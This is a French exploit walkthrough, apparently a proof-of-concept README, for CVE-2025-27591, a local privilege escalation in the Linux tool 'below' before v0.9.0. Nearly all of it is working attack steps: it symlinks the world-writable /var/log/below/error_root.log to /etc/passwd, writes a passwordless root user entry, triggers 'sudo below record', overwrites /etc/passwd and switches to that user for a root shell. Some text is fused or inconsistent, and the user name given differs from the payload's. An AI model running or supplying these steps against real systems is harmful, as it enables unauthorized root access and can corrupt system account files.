
CVE-2025-27591 est une vulnérabilité d'escalade de privilèges connue dans le service Below (version < v0.9.0)
belowCeci est un exploit simple pour CVE-2025-27591, une vulnérabilité d'élévation de privilèges locale dans l'outil de surveillance système Linux below. La vulnérabilité affecte les versions antérieures à v0.9.0 et provient d'assignations de permissions incorrectes dans le système. Le problème a été découvert en janvier 2025 et divulgué publiquement le 12 mars 2025 (SecurityOnline, OpenWall). Lorsque below est exécuté avec sudo, il peut enregistrer des erreurs dans un répertoire accessible en écriture par tous (/var/log/below), permettant aux attaquants de créer un lien symbolique vers des cibles sensibles comme /etc/passwd.
En exploitant cela, un utilisateur non privilégié ayant accès à sudo sur below peut élever ses privilèges vers root.
belowbelow record/var/log/below/error_root.log/var/log/below est accessible en écriture par toussudo /usr/bin/below record sans mot de passe✅ Étape 1 : Vérifier que le répertoire de logs est accessible en écriture par tous Vous devriez voir :
drwxrwxrwx 2 root root 4096 ... /var/log/below

✅ Étape 2 : Supprimer tout fichier error_root.log existant
rm -f /var/log/below/error_root.log
✅ Étape 3 : Créer un lien symbolique vers /etc/passwd
ln -s /etc/passwd /var/log/below/error_root.log
puis vérifier avec
ls -la /var/log/below/error_root.log
# devrait afficher : error_root.log -> /etc/passwd

✅ Étape 4 : Créer un fichier payload Ceci ajoutera un nouvel utilisateur root nommé attacker sans mot de passe :
echo 'dollarboysushil::0:0:dollarboysusil:/root:/bin/bash' > /tmp/payload
structure du fichier
username:password:UID:GID:comment(home/full name):home_directory:shell
Le point clé ici est que UID et GUID sont définis à 0, ce qui fait de l'utilisateur un utilisateur root et le GID (Group ID) correspond au groupe root

✅ Étape 5 : Déclencher l'écriture de logs en tant que root C'est le cœur de l'exploit.
sudo /usr/bin/below record
Cette commande est censée échouer ou expirer — mais elle tentera d'écrire les logs d'erreur dans /var/log/below/error_root.log, qui est en réalité /etc/passwd. 💡 Dans certains cas, cela peut corrompre /etc/passwd — donc nous l'écrasons complètement ensuite.
✅ Étape 6 : Écraser /etc/passwd via le lien symbolique
cp /tmp/payload /var/log/below/error_root.log

✅ Étape 7 : Devenir root
su attacker
Vous obtiendrez un shell root, sans mot de passe nécessaire.

python3 dbs_exploit.py
